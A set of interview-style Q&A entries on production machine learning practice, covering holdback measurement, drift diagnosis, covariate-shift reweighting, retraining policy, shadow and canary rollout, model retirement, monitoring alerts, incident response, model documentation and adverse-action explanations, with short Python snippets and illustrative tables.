The reason for that specificity is a failure I have seen: A before-and-after comparison credited a model with a 12% lift that a difference-in-differences estimate against untreated regions put at 1.4%, the rest being a seasonal rise both groups shared.
Difference-in-differences against untreated regions.
| Period | Treated regions | Untreated regions | Difference |
|---|---|---|---|
| Pre | 4.10% | 4.05% | 0.05 pp |
| Post | 4.59% | 4.48% | 0.11 pp |
| Naive before-after | +12.0% | — | overstated |
| Difference-in-differences | +1.4% | — | estimate |
I would not consider it settled without evidence: Show the pre-period trends of treated and comparison units on the same axis and confirm they moved together before treatment.
Without a comparison group, the estimate credits the model with the whole of the calendar.
Curated: · Written: · Reviewed:
Q&A-63How do you know that a year of model launches actually helped?
What I'd say in the first two minutes
"Helped" has to mean one thing: the cumulative causal effect of the year's launches on the north-star metric, measured against a population that never received them. The sum of the individual launch lifts is not that number. Each test ran against the then-current production model, so launch two's lift is measured on top of launch one's, and short windows inflate novelty effects. So I keep a permanent untreated holdback, refresh it rarely, and read it annually against the same metric the individual tests used.
Assumptions worth stating out loud: the metric is comparable year over year, the holdback is genuinely isolated from the treated serving path, and the business can afford to deny treatment to that slice.
The number
Worked example, illustrative figures:
| Source | Effect |
|---|---|
| Sum of 11 launch claims | +14.0% |
| Measured against 1% holdback after 12 months | +3.1% |
| Gap attributable to novelty and overlap | ~10.9 pp |
Alternatives, and what each one costs
| Method | Measures | Horizon | Cost | Where it fails |
|---|---|---|---|---|
| Permanent holdback, 0.5–2% | Cumulative causal effect on the business metric | Year+ | Denies treatment to that slice indefinitely | Too small for power; contamination; cohort drift |
| Rotating holdback, e.g. 5% for a quarter | Recent-window effect | Quarter | Less permanent denial | Never accumulates a year-long read |
| Interleaving | Relative ranking quality between two models | Days | Cheap, no user cost | No business metric, no long horizon |
| Offline / counterfactual estimators (replay, IPS, doubly robust) | Predicted effect from logged data | Instant | Free | Bias grows with distribution shift over a year |
Offline estimators are for triage, not for the annual number. Interleaving answers a different question. A rotating holdback tells you about the last quarter, not the year.
The cost of denying treatment
At a 1% holdback and a 3% annual lift, you forgo roughly 0.03% of the metric to measure it: cheap. That arithmetic changes if the model is a safety filter, a fraud control, or a regulatory requirement: withholding it is not a cost you are permitted to pay. It also changes if the metric has a fat tail, where 1% of users is a material absolute number even at a small percentage.
When a permanent holdback is not worth it
- Population too small. At 1% of 10k users you have 100 people; the confidence interval swamps a 3% effect.
- The model is a required control, so you cannot withhold it.
- Launches are rare and independent, so per-launch tests do not overlap and summing them is defensible.
- The metric is dominated by seasonality or external shocks, which confounds a year-over-year comparison.
Failure modes to check
- Contamination: holdback users hitting a shared cache, feature store, or fallback path that serves the new model. Detect by logging model version at inference and asserting the holdback never sees a new version.
- Cohort drift: the holdback ages, churns, or diverges from treated. Detect by comparing pre-period covariate distributions.
- Novelty and primacy: short tests overstate; the annual read is where that washes out.
- Metric drift: the north star changed mid-year, so the comparison is no longer like-for-like.
What I'd report
Annually, the holdback comparison beside the sum of claimed effects, with a confidence interval on the holdback number. The sum of the wins and the measured total are different numbers, and only one of them is observed.
Curated: · Written: · Reviewed:
Q&A-11Nothing has changed in your pipeline, but weekly performance is sliding. How do you tell drift from a bug?
The 60-second answer. Assume "performance" is a labelled metric (AUC, MAE) on a slice whose labels arrive with a lag, and that you kept a frozen training reference snapshot. A bug breaks a data contract; drift moves the distribution of values that still satisfy it. So test the contract first (it is deterministic, cheap, and runs before any statistics) and only then look at distributions. The decisive test is replay: push a frozen batch of raw inputs from last week through today's serving path and diff the outputs against what was recorded. Identical outputs mean the model and code are unchanged, so the slide lives in the data or the labels. Different outputs mean you shipped a bug, and no amount of drift analysis will find it.
| Check | Bug signature | Drift signature |
|---|---|---|
| Schema, dtypes, null rate, cardinality | step change at a timestamp | unchanged |
| Feature min/max, units | 100× jump (cents→dollars) | slow shift |
| Row counts, join coverage, freshness lag | drop or spike aligned to a deploy | steady |
| Replay frozen batch through serving | outputs differ | outputs identical |
| PSI per feature vs training reference | one feature spikes, rest flat | several correlated features move together |
| Labelled metric | sharp drop aligned to a deploy | gradual decay |
| Hand-audited label sample | labels wrong | labels right |
The distribution half. PSI per feature against the training reference, with the usual scorecard convention: under 0.1 stable, 0.1–0.25 moderate, above 0.25 a real shift. With 20 features, expect one to cross 0.1 by chance, so read the pattern, not the single max: a unit change moves one feature's max by 100×, drift moves a correlated block together.
import numpy as np
def psi(expected, actual, bins=10, eps=1e-6):
edges = np.quantile(expected, np.linspace(0, 1, bins + 1))
edges[0], edges[-1] = -np.inf, np.inf
e = np.histogram(expected, edges)[0] / len(expected)
a = np.histogram(actual, edges)[0] / len(actual)
e, a = np.clip(e, eps, None), np.clip(a, eps, None)
return float(np.sum((a - e) * np.log(a / e)))
psi(x, x) returns 0.0 for any x with distinct quantile edges: every bin holds the same share in both histograms, so each term is (p - p) * log(1) = 0. That is the sanity check to run before trusting any other number it prints.
The trap that looks like concept drift. Falling AUC with stable inputs is not automatically concept drift: a broken label pipeline produces the same signature. Two things to rule out first. Label maturity: if labels settle over 14 days, last week's slice is a biased sample of the easiest cases, and the "slide" is an artifact of the maturity curve. Label correctness: hand-audit 200 recent rows against the source system. If the label join now picks up a different event (a refund instead of a purchase, a re-issued order), you have a bug that mimics drift exactly.
Failure modes worth naming. Upstream rename or type change that silently coerces to null and gets imputed to the mean: detected by a null-rate assertion, not by PSI, because imputation hides the shift. Timezone or DST change shifting a daily window by an hour: detected by comparing event-time histograms across the boundary. A join that now fans out, inflating row counts and double-weighting heavy users: detected by row-count-per-key assertions. A feature computed from a table that stopped backfilling: detected by freshness lag, not distribution.
What I would actually do this week. Run the replay diff and the contract assertions first; they take an afternoon and eliminate the bug branch. If they pass, publish PSI per feature beside the labelled metric so the divergence is visible without an investigation, and check label maturity and a hand-audited sample before calling it drift. Retraining fixes one of these two problems and burns a week on the other.
Curated: · Written: · Reviewed:
Q&A-49You train on last year's customers and deploy to a market that skews younger. What do you do?
What I'd establish first. Two things decide the response, and the age skew alone doesn't tell me either. Is the shift in the inputs, or in the input→label relationship? And do we have any labelled outcomes from the new market yet? If we do, retraining on a mix is usually the faster correct move, not reweighting.
| What moved | Fix | What the fix can't do |
|---|---|---|
| P(X): age, channel, spend mix | importance weighting | invent rows in regions training never covered |
| P(Y): base rate | prior correction / recalibration | fix a changed P(Y|X) |
| P(Y|X): new market, new pricing, new competitor | retrain on recent labels | reweighting makes it worse: it up-weights old rows that are now wrong |
Reweighting, concretely. Fit a discriminator to separate training rows from deployment rows and use the density ratio as the sample weight.
# Python 3.11, scikit-learn 1.5
import numpy as np
from sklearn.linear_model import LogisticRegression
# Label 1 = deployment row, 0 = training row. Sample equal counts from each,
# so p/(1-p) estimates p_deploy(x) / p_train(x) with no prior correction.
X = np.vstack([X_train, X_deploy])
y = np.r_[np.zeros(len(X_train)), np.ones(len(X_deploy))]
clf = LogisticRegression(max_iter=1000).fit(X, y)
p = clf.predict_proba(X_train)[:, 1] # P(deployment | x) per training row
w = np.clip(p / (1 - p), 0.05, 20) # density ratio, clipped
model.fit(X_train, y_train, sample_weight=w)
Check the discriminator's own AUC before trusting any of this. Near 0.5 means it can't tell the populations apart, there is no covariate shift, and the weights are noise. The clip bounds are a judgement call, not a default: they trade bias for variance.
The failure mode that bites. Reweighting cannot manufacture rows that don't exist. If last year's customers are 68% over 40 and the new market is 61% under 30, and age is a feature, the young region of feature space is thin or empty. Weights there are extrapolation, and the effective sample size collapses.
Worked example, illustrative numbers: 100,000 training rows, 92,000 clipped down to w=0.05 and 8,000 clipped up to w=20. Kish effective sample size is (Σw)²/Σw² = 164,600² / 3,200,230 ≈ 8,500. You are fitting on the equivalent of 8,500 rows, and standard errors inflate by √(100,000/8,500) ≈ 3.4×. A ±0.4-point AUC interval becomes ±1.4 points. If the deployment gain is smaller than that, you cannot see it, and you will ship on noise.
Order of operations. Get labels from the new market, even a few thousand, and retrain on a mix; that fixes support as well as density, which weighting alone never does. If labels aren't available yet, reweight, but report the effective sample size beside every metric. Then check calibration separately: reweighting matches P(X) and does nothing for a changed base rate. If the new market churns at 4% against 9% last year, the scores need prior correction or a fresh isotonic fit on new labels.
How I'd know it worked. A labelled holdout from the deployment population, scored weekly, with AUC and calibration (predicted vs observed by decile) reported on that slice only. Feature drift monitors (PSI per feature, KS on the score distribution) tell you when to re-run this. Aggregate metrics are what hid the problem in a case I've seen: a model trained on a population 68% over 40 and deployed to one 61% under 30 lost 7.4 points of AUC on the deployment cohort while the aggregate moved 0.9. Averaged over the wrong population, a good model looks fine and behaves badly.
Curated: · Written: · Reviewed:
Q&A-12Should the model retrain nightly, weekly, or on a signal?
Answer: Signal-triggered, with a periodic run as a floor. Assumptions: labels arrive with a delay (hours to days), you have a release gate that can hold a candidate, and rollback is cheap. If any of those is false the answer changes: see the last section.
Why the calendar is the wrong mechanism. A schedule sets detection latency equal to the period. If a shift lands uniformly at random inside the interval, nightly detects it after 0.5 days on average and 1 day worst case; weekly averages 3.5 days and 7 worst case. Retraining cost is roughly constant per run; the cost of serving a degraded model scales with days-below-floor. The calendar spends a fixed budget on runs and lets the variable cost float. A signal inverts that: you pay for runs when the data moves.
What the signal should be. Three families, ordered by latency:
- Input drift on features (PSI, KS, or a two-sample classifier test): no labels needed, fires within a day, but noisy.
- Labelled performance below a floor: the ground truth, but lags by your label SLA.
- Volume of new labels since the last train: a cheap proxy for "the world moved enough to be worth relearning".
Use drift as the fast alarm, labelled performance as the confirmation, and label volume plus a monthly floor as the backstop so a quiet-but-shifted period still gets retrained.
# Illustrative trigger, Python 3.11. Thresholds are placeholders.
def should_retrain(s, cfg):
if s.days_since_train >= cfg.floor_days: # 30
return "floor"
if s.psi_7d >= cfg.drift_threshold: # 0.2
return "drift"
if s.new_labels >= cfg.label_volume: # 50_000
return "volume"
if s.auc_7d < cfg.auc_floor: # 0.71
return "performance"
return None
Trace one call: days_since_train=12, psi_7d=0.31, new_labels=8_400, auc_7d=0.74. The first test, 12 >= 30, is false. The second, 0.31 >= 0.2, is true, so the function returns "drift" and never reaches the label or AUC checks. Order matters: the floor is first so a stale model always retrains, and the AUC check is last because it is the slowest to become trustworthy.
PSI cutoffs are convention (0.1 / 0.25 is the common reading), not a law: calibrate them on your own replay rather than adopting a number from a blog post.
Worked replay. One year of history, three policies, same release gate. Figures are illustrative, chosen to show the shape of the trade-off:
| Policy | Retrains | Days below floor | Regressions shipped |
|---|---|---|---|
| Nightly | 365 | 4 | 2 |
| Weekly | 52 | 11 | 1 |
| Drift + 30-day floor | 19 | 3 | 0 |
The nightly row is the interesting one: it retrains 19x more than the signal policy and still ships two regressions, because a calendar run is not a check. It is a coin flip that happens to be scheduled. Those regressions come from variance in the training data, not from staleness.
Failure modes.
- Drift-alarm churn: a noisy statistic fires weekly on a stable model. Detect it by tracking the fraction of triggered retrains that pass the gate; if most are rejected, the threshold is too tight.
- Label-lag blindness: the performance signal is only as fresh as the label pipeline. If labels land 5 days late, an AUC floor cannot detect anything faster than 5 days, however often you evaluate it.
- Feedback loop: retraining on labels generated by the model's own decisions narrows the data distribution. Detect by monitoring feature coverage of the training set against live traffic.
- Pipeline break masquerading as drift: an upstream schema change moves the feature distribution without the world changing. A retrain will not fix it; that alarm should page the pipeline owner, not the training job.
When the calendar wins. If the world genuinely changes on a known cadence (weekly seasonality, a regulatory refresh, a batch of new customers every Monday) a schedule is simpler and correct, and the signal machinery is overhead. Same if retraining is expensive enough that you can only afford a handful of runs a year: then the floor is the mechanism and the signal is a tiebreak.
Curated: · Written: · Reviewed:
Q&A-19Reviewers complain that most of what the model sends them is fine. What do you change?
The complaint tells me the queue has a precision problem, not a recall problem. If reviewers say most of what they get is fine, the model is spending their attention on clean items, and the fix is to rank and threshold so the items they see are the ones most likely to be real violations, even though that means the model catches fewer of them overall.
I start from the constraint. Reviewer attention is the scarce resource, and recall the team cannot clear is recall the product never gets. So I fix the daily volume to what the team can actually review, rank by score, and optimise precision inside that budget. Then I use the measured value of the items just below the cut to argue for more capacity, rather than shipping a queue nobody can clear.
I have seen the failure this prevents. A model tuned to 0.94 recall sent reviewers 24,000 items a day, and 19,400 of them were clean. Reviewer agreement with the model fell to 31% before they stopped trusting the queue, and once they stopped trusting it their labels stopped being useful for retraining. Low precision does not just waste time; it destroys the signal you need to improve the model.
Here is the trade-off at a fixed capacity of 3,000 reviews a day, which is what one team could clear:
| Model | Recall at 3,000 | Precision at 3,000 | Clean items sent |
|---|---|---|---|
| Current | 0.62 | 0.68 | 960 |
| Reranked by severity | 0.58 | 0.81 | 570 |
| Two-stage filter | 0.66 | 0.79 | 630 |
Reranking by severity costs four points of recall and cuts the clean items reviewers see from 960 to 570, which is roughly a third of their day back. A two-stage filter, a cheap high-recall pass followed by an expensive precision-focused one, keeps more recall at 0.66 and still drops clean items to 630. Which one I pick depends on the cost asymmetry. If a missed violation is a legal or safety event, I take the two-stage filter and pay the extra compute. If reviewer burnout is the binding constraint, I take the reranker.
The failure modes I watch for are threshold drift and the feedback loop. The score distribution shifts as the content mix changes, so a threshold that gave 0.81 precision in March can give 0.6 in June, and I detect that with a weekly audit sample of the queue labelled independently of the model. The feedback loop is subtler: reviewers only label what the model shows them, so the training set inherits the model's blind spots, and precision on the audited sample is the only honest check. I also track reviewer override rate and time-to-decision, because both move before agreement does.
I would not call it settled without measuring precision at the fixed daily volume the team can clear, and reporting separately what the items just below the cut were worth. That number is what turns a capacity request into an argument.
Curated: · Written: · Reviewed:
Q&A-13How do you gather production evidence for a model before it affects a single user?
What a strong candidate says first
Pin down the decision the evidence has to support before choosing a method. Promoting a ranking tweak and promoting a fraud block need different bars: one tolerates a 7% disagreement rate, the other does not. Then answer: you climb a ladder, and shadow mode is the second rung.
- Replay logged production traffic offline. You already have the requests. Run the candidate over a sample of them in a batch job, with no live serving. This catches feature-pipeline skew and gives a first disagreement rate for the price of compute. It cannot measure live latency, because nothing is being served.
- Shadow on live traffic. Score every live request with both models, serve only the incumbent, log both outputs against the same request id. This is the only rung that measures the candidate on live inputs and live latency with zero user exposure.
- Canary with a holdout. Once shadow is clean, route a slice of real traffic to the candidate and keep a control group. That is the first rung where a user is affected, so it sits past the boundary in the question, but the holdout has to be designed before you get there, not after.
What to log
Per request: request id, both model versions, both scores, the feature vector (or its hash), each path's latency, and the outcome label when it lands.
{"request_id": "...", "incumbent": {"v": "m-2024-11", "score": 0.31, "latency_ms": 12},
"candidate": {"v": "m-2025-02", "score": 0.44, "latency_ms": 380},
"features_hash": "9f2c...", "label": null}
Without the label you can measure disagreement but not correctness. A 7% disagreement rate is meaningless until you know which side was right on those 7%: sample them and have a human or a delayed outcome label adjudicate.
Worked example (hypothetical figures)
A candidate promoted from offline evaluation only. Two weeks of shadow scoring, 1.2M paired requests:
| Measure | Incumbent | Candidate | Gate | Result |
|---|---|---|---|---|
| p99 latency | 41 ms | 380 ms | ≤ 60 ms | fail |
| Error rate | 0.02% | 3.40% | ≤ 0.10% | fail |
| Disagreement at threshold | — | 7.1% | inspect sample | — |
The candidate's p99 blows the gate because a feature lookup takes 380 ms at p99 on live cardinality the offline sample never contained. Offline replay would have shown the same skew as a correctness problem, wrong scores on those rows, but only shadow shows it as a latency problem, because only shadow serves.
Failure modes
- Shadow with side effects. If the candidate writes to a shared cache, updates a feature store, or calls a downstream service that mutates state, shadow is not risk-free: it reaches users through the back door. Fork the writes or make the candidate read-only.
- Latency that is not comparable. If the candidate runs on separate hardware, or the incumbent's latency is measured under different load, the comparison is not apples to apples. Run both paths in the same pool, or treat shadow latency as an upper bound.
- Sampling bias. Shadowing 1% of traffic can miss the tail, and the tail, rare high-cardinality feature values, is exactly where models break.
- Feedback loops. If the incumbent's output decided what was shown, the logged traffic is already biased by the incumbent. Shadowing live traffic avoids this; replaying logs does not.
- Cost. Shadow doubles inference compute. At 1.2M requests over two weeks that is a rounding error; at 50k QPS it is a budget line.
When not to shadow
When the model's output feeds a downstream system you cannot fork (it writes to a ledger, it triggers a payment) shadowing the model alone does not shadow the effect. You need a replay harness with a mocked downstream, or an offline counterfactual estimator. And when the decision is low-stakes and 2x compute is not worth it, offline replay plus a small canary is enough.
Curated: · Written: · Reviewed:
Q&A-14The new model is better in shadow mode. How do you take it to 100% of traffic?
Shadow mode answers a different question than the one that unblocks launch: it tells you the new model's ranking agrees with production on logged traffic, not that the business metric moves. Promotion is a traffic ramp with a pre-declared rollback bound, because a bad model rarely crashes: it drops add-to-cart by 2-3% and nothing pages.
Assumptions I'd state out loud: roughly 2M sessions/day on the surface (hypothetical, for the arithmetic below), add-to-cart (ATC) baseline 8%, stateless inference behind a config-selected model version, and reverting means flipping that config.
Design. Bucket on hash(user_id + experiment_salt) so a user stays in one arm across sessions; per-request bucketing halves the effective sample and mixes models inside one session. The hold at each step is set by the sample the guardrail needs, not by a calendar. Two-sided alpha 0.05 with 80% power gives a multiplier of 2.8 (1.96 + 0.84), and the standard error on the ATC delta is sqrt(0.08 * 0.92 * (1/n_treatment + 1/n_control)).
| Step | Traffic | Treatment vs control sessions/day | Smallest detectable ATC drop | Roll back if worse than |
|---|---|---|---|---|
| 1 | 1% | 20k vs 1.98M | 0.54 pp (6.7% relative) | 0.5 pp |
| 2 | 10% | 200k vs 1.8M | 0.18 pp (2.2%) | 0.2 pp |
| 3 | 50% | 1M vs 1M | 0.11 pp (1.4%) | 0.1 pp |
| 4 | 100%, 10% holdout for 7 days | 12.6M vs 1.4M | 0.07 pp | 0.1 pp |
Two things fall out of that arithmetic. Step 1 is a safety check, not evidence: at 20k sessions it can only see a 6.7% relative break, so it exists to catch a model that returns garbage, not a subtle regression. And holding a step longer to "be safe" buys nothing; the sample sets the bound, not the clock. Step 4 keeps a holdout because at 100% with no control arm the guardrail has nothing to compare against.
Alternatives, and when they beat the ramp.
| Approach | What it gives you | When I'd take it instead |
|---|---|---|
| Interleaving | One blended ranking, clicks attributed to the source ranker; a ranking-metric winner from far fewer sessions | Ranking quality is the whole question and the business guardrail is unchanged. It cannot measure ATC, so it gates the ramp rather than replacing it. |
| Bandit allocation | Traffic shifts toward the better arm as evidence accrues, so less revenue sits on a losing model | The metric is fast and the guardrail cheap to evaluate, and I accept that the share is no longer a fixed auditable number and naive intervals on adaptively sampled data are biased. |
| Per-surface ramp | First exposure where a bad ranking is cheapest: email, then search, then home | The suspected failure mode is surface-local, so 1% of everything dilutes it. Costs multiple comparisons: tighten each surface's bound by the number of surfaces tested. |
| Straight to 100% | No ramp overhead | Rollback is a sub-minute config flip, the guardrail is measured in-session, and the model is stateless. |
A fast ramp is acceptable when all four hold: the guardrail is in-session rather than a 30-day retention metric; rollback is a config flip under 60 seconds with the old model warm; nothing downstream consumes the scores (a training feedback loop turns 1% exposure into 1% contaminated training data); and exactly one thing differs from production.
Failure modes and how I'd catch them. A sample-ratio mismatch: an intended 1% landing at 0.97%: invalidates the comparison; chi-square the arm counts at every step. Metric masking is the one that bit me: a recommender promoted straight to 100% held a 2.9% ATC drop for six days because the dashboard averaged across surfaces. Log the guardrail per surface and per new/returning user and alert on the worst slice, not the mean. Pick counter-metrics as well as the primary: return rate catches "we recommended cheap items people send back", and serving p99 catches a model that is accurate but too slow to be in the response path.
Evidence I'd want before calling it done: a rollout ledger with the date, traffic share, sessions per arm, the delta with its interval, the guardrail value, and the decision at each step. The bound is evaluated on the streaming metric and the flip is automated: no human in the loop at 03:00.
Curated: · Written: · Reviewed:
Q&A-100A model has served for three years. How do you decide whether to keep it?
Start with the comparison, not the age. Refit the cheapest credible baseline on recent labeled data, score it and the deployed model on the same rows, and retire the deployed model when it no longer beats that baseline by enough to justify what it costs. Three years is a proxy for drift; the measured gap is the decision.
Assumptions I would say out loud before doing any of this:
- Labels arrive with some lag. The "recent window" is the last 90 days for which I have labels, not the last 90 calendar days of traffic.
- A baseline can be refit in under a day on a single CPU box.
- The metric matches what the model actually drives. AUC if it ranks candidates for human review; calibration or cost-weighted error if a fixed threshold downstream consumes its probabilities. A high-AUC model that is badly calibrated can still be worse than a plain logistic regression behind a threshold.
The three numbers I need.
- The deployed model's metric on the recent labeled window.
- The same metric for a freshly fitted cheap baseline on the identical window and rows.
- The fully loaded monthly cost of keeping the deployed model: GPU fleet, retraining pipeline, on-call surface, and the upstream feature jobs that exist only to feed it.
Illustrative figures for a ranking model:
| Candidate | AUC, last 90 labeled days | Monthly cost |
|---|---|---|
| Deployed model, trained 2023 | 0.792 | $9,400 |
| Fresh logistic regression | 0.804 | $120 |
| Fresh gradient-boosted trees | 0.851 | $340 |
That table decides it. The deployed model is behind a logistic regression costing roughly 1/78th as much, so it is retired. If the deployed model had come in at 0.83, I would have retired it anyway and shipped the boosted trees, because the replacement is both better and 27x cheaper per month.
Before acting on a small gap, check whether it is real. Bootstrap the labeled window, 1,000 resamples, and put a 95% interval on the difference in metric between deployed and baseline. If the interval straddles zero, call it a tie and let cost decide. If it sits entirely below zero, the model has a quality problem, not merely a cost problem, and the answer is the same: replace it.
What usually keeps a stale model alive.
- Nothing to compare against. Teams track the deployed model's live metric, see 0.79 and think it is fine, because they never fit the baseline that would have shown 0.80 is free.
- The retraining pipeline as a reason to exist. Job runs nightly, succeeds, produces an artifact nobody measures. Pipeline health is not model quality, and a green pipeline is the most common evidence I see offered for keeping a model that no longer wins.
- Downstream consumers. Deleting a model is an API change. I list every service reading its scores before proposing retirement, and keep it in shadow mode scoring mirrored traffic for two weeks so any consumer that breaks does so before the cutoff.
- Seasonality masquerading as decay. A 90-day window that spans Q4 has a different label distribution than one that spans Q1. Compare on the same window and, if the metric is seasonal, compare year over year as a second check.
Cheaper options before retirement. Not every stale model needs deleting. Recalibrating with isotonic regression on recent data sometimes recovers most of the gap for one afternoon of work. Quantizing to int8 and moving to CPU can cut inference cost by 4x. Shrinking to the baseline outright is the honest choice when the expensive model's only remaining edge is inside its own confidence interval.
Detection, so this is not an annual surprise. Alert on population stability index over the top features, and track the rolling 28-day metric difference between the deployed model and the last refit baseline. A gap that persists for two weeks is a retirement proposal, not a dashboard curiosity.
Publish the comparison on a schedule with the cost column included. A model earns its slot at each review, not once at launch.
Curated: · Written: · Reviewed:
Q&A-98Your service has uptime alerts. What else needs an alert for a model?
Uptime alerts tell you the service answered. They don't tell you the answer was right. A model needs four alerts beyond service health: prediction distribution, feature freshness, feature nulls, and delayed labelled performance.
Assumptions: an online model serving predictions, features coming from a pipeline, labels arriving with a lag, and enough traffic that distribution tests are meaningful. If any of those don't hold, the alert set changes: I'll come back to that.
| Signal | Bound | Detects |
|---|---|---|
| Mean predicted probability | ±30% of 30-day median | broken feature |
| Feature p99 age | per-feature budget | stale pipeline |
| Null rate per feature | +2 pp over baseline | upstream schema change |
| Labelled AUC, 14-day lag | above 0.80 floor | genuine degradation |
A worked example, figures illustrative: a model served 200s for eleven days while a null-filled feature moved the mean predicted probability from 0.031 to 0.004. Nothing alerted because every request returned 200. The distribution alert would have fired on day one.
Where these alerts are wrong or unnecessary. A model scoring a few hundred requests a day will trip a ±30% band on mean predicted probability from noise alone: use a longer window, absolute thresholds, or drop the distribution alert and lean on nulls and labels. A batch scoring job has no request-level uptime; alert on job completion, output row count, and schema instead. A model with no labels can't use an AUC floor: say so and fall back to input drift, or you'll ship an alert that never fires. A shadow model shouldn't page anyone. And the baseline matters: compare prediction distribution to the same hour last week, not a flat 30-day median, or you'll page every Monday morning. Feature staleness budgets should be per-feature: a user-profile feature can be a day old, a transaction-count feature cannot.
Each alert needs a stated owner and a runbook line that names the signal. If a rule fires and the on-call can't tell which feature or which pipeline is responsible, it isn't finished.
I wouldn't call it done until I've replayed a known past incident through the rules and confirmed each one fires and names the responsible signal. Availability is necessary, not sufficient.
Curated: · Written: · Reviewed:
Q&A-99Predictions have been wrong for six hours. What are your first three actions?
Clarify before acting. "Wrong" needs a definition: a monitored metric that crossed a threshold (AUC, calibration error, fraud-loss rate), or a specific class of bad decisions someone reported. I'll assume predictions are logged with their feature vectors, the model is served from a versioned registry, and rollback is a config change rather than a retrain. If any of those is false, action 1 changes shape.
The three actions, in order:
- Roll back to the last known-good model version, or disable the model behind a flag. This is a config change measured in minutes, and it stops the bleeding while you still have room to think.
- Quantify the blast radius and freeze what's reversible. Count decisions in the six-hour window and split them: already executed (payments sent, accounts blocked. Irreversible) versus queued (hold them). The queued set is the only part you can still save.
- Diagnose from the logged feature vectors of the affected window, not by retraining. Compare the window's feature distributions against the training baseline. A large shift points upstream at the pipeline; no shift points at the model or the label definition.
| # | Action | Wall clock | What it stops |
|---|---|---|---|
| 1 | Roll back model version | 5–15 min | New bad decisions |
| 2 | Freeze queued decisions, count executed | 30–60 min | Reversible harm |
| 3 | Feature-drift check on the window | 1–2 h | Guessing at the cause |
Why this order: the cost function is asymmetric. Diagnosis is not urgent; serving is. Six hours at 120 decisions/min is 43,200 decisions already out. Rolling back at minute 14 instead of minute 370 caps the total near 1,700. The 43,200 are gone either way: the question is whether the next 43,200 happen.
The drift check is a few lines against the logged vectors:
import numpy as np
def drift(baseline, window, z=3.0):
"""baseline, window: (n_samples, n_features) arrays."""
mu, sd = baseline.mean(0), baseline.std(0)
sd = np.where(sd == 0, 1.0, sd)
shift = np.abs(window.mean(0) - mu) / sd
return np.argsort(shift)[::-1], shift # feature indices, worst first
When not to roll back first. If the last known-good model also produces bad predictions on today's inputs, the fault is upstream (a broken feature pipeline, a stale join, a schema change) and rollback buys nothing. Test it in one step: score a sample of the affected window's logged feature vectors with the previous model. If that's also wrong, go fix the pipeline and skip the rollback. Same logic if the model is a batch scorer whose output hasn't been consumed: discard the batch, no rollback needed.
Failure modes. A rollback that doesn't take effect because a feature cache or stale replica still serves the old version: verify by scoring a known input and checking the version tag in the response. A rollback that trades one incident for another: reverting a fraud model to a more permissive version raises fraud loss, so watch the business metric, not just the model metric, for the first hour after.
What I'd instrument afterwards: time from detection to rollback, and decisions served after detection, in every incident review. Those two numbers decide whether the next incident is 14 minutes or six hours.
Curated: · Written: · Reviewed:
Q&A-97What has to be written down before another team can consume your model's output?
The first question I would ask about documenting a model for the people who depend on it is which production decision the number is meant to change.
Document the intended use, the population the model was trained on, the metric at the deployed threshold, and the known failure modes, because a consumer with no documentation will assume the model works everywhere.
Concretely, publish a short model card beside the registry entry naming the training population, the evaluation slices, the operating threshold, the known weak slices, and the contact for questions, and update it on every promotion.
The reason for that specificity is a failure I have seen: A team consumed a model trained on desktop web traffic for a mobile app surface where it scored 0.61 against 0.84, and the mismatch was found four months later during an unrelated investigation.
The minimum a consumer needs before depending on a score.
intended_use: rank support tickets for tier-2 triage
population: desktop web, EN and DE, 2025-01 to 2026-05
threshold: 0.91, chosen for 3,000 reviews per day
auc_overall: 0.844 # weakest slice, tenure<30d: 0.61
not_validated_for: mobile app, ES traffic, enterprise accounts
I would not consider it settled without evidence: Ask a consuming team to state the model's intended population and weak slices from the documentation alone.
An undocumented model will be used for whatever the consumer imagined it did.
Curated: · Written: · Reviewed:
Q&A-43A customer asks why they were declined. What can you actually tell them?
You can tell them the principal reasons for the decline, in plain language, and you have to be able to produce those reasons from the stored decision record. You cannot tell them the model's internal feature names or weights, the exact score threshold, or anything about other applicants.
The legal frame decides the shape. In the US, ECOA and Regulation B (12 CFR 1002.9) require an adverse action notice within 30 days of a completed application, with specific reasons; the CFPB's sample forms list up to four principal reasons. If a credit score was used, FCRA adds the score, its range, the key factors that adversely affected it, the date, and the CRA's name. In the EU, GDPR Article 22 gives a right not to be subject to a solely automated decision, and Articles 13–15 require "meaningful information about the logic involved": a higher bar than four reasons.
Mechanically, you map per-decision attributions to a fixed vocabulary of reason codes at scoring time, store the top reasons with the prediction, and render them as sentences. The mapping is the part that has to be reviewed: a reason code that is a proxy for a protected class (zip code, a name-derived feature) is an ECOA violation even if the model never saw race.
| You can say | You must not say |
|---|---|
| "Recent missed payments" | "missed_payments_12m = 3, SHAP +0.41" |
| "Short credit history" | "Your score was 612, below our cutoff of 640" |
| "Verified income helped" | "You scored worse than 78% of applicants" |
| The score, range, CRA name, dispute rights | Anything about a co-applicant or spouse |
Worked example: a declined application, reasons stored at decision time:
| Reason code | Customer-facing text |
|---|---|
| DELQ_12M | Recent missed payments |
| THIN_FILE | Limited credit history |
| DTI_HIGH | Debt payments are high relative to income |
Failure modes I'd watch for. Reasons that are too generic: the Reg B commentary requires specific reasons rather than a general statement like "credit score insufficient." Reasons that don't match the actual decision, which is worse than a generic one because it's a fabricated record. And a reason list that is stable across applicants because it was generated from global importances rather than the individual decision: detect that by checking reason codes vary with the input; if the same three reasons dominate the decline population, the attribution pipeline is broken.
The thing you can't do is hand the customer a number and call it an explanation. "The model declined you" is not a reason under any of these regimes.
Curated: · Written: · Reviewed:
Q&A-64Do you need an online scoring service, or is a nightly batch enough?
The model doesn't decide this. Two numbers do: how long the decision can wait, and how fast the inputs move.
If the features' half-life is longer than the batch interval and the decision can wait for the next run, batch is enough. An online path then buys nothing and costs a latency budget, autoscaling, and a second failure domain. If a feature computed at request time flips the answer, batch is not enough, however cheap it is.
Most teams land in between. Micro-batch at 1–5 minutes covers a lot of "real-time" requirements at a fraction of the operational cost of a request-path service. The common hybrid (model served online, features computed by batch) is often the right answer: fast serving path, cheap features, and you accept that a feature is up to one batch interval old.
| Use case | Feature half-life | Decision deadline | Verdict |
|---|---|---|---|
| Churn outreach | days | days | batch |
| Weekly recommendations | days | hours | batch |
| Card fraud at checkout | seconds | ~200 ms | online |
| Search ranking | per session | ~50 ms | online |
| Dynamic pricing | minutes | seconds | micro-batch or online |
Figures are illustrative; the shape is the argument. Fraud has a deadline of a few hundred milliseconds and features that move per event. A churn email has a deadline of days.
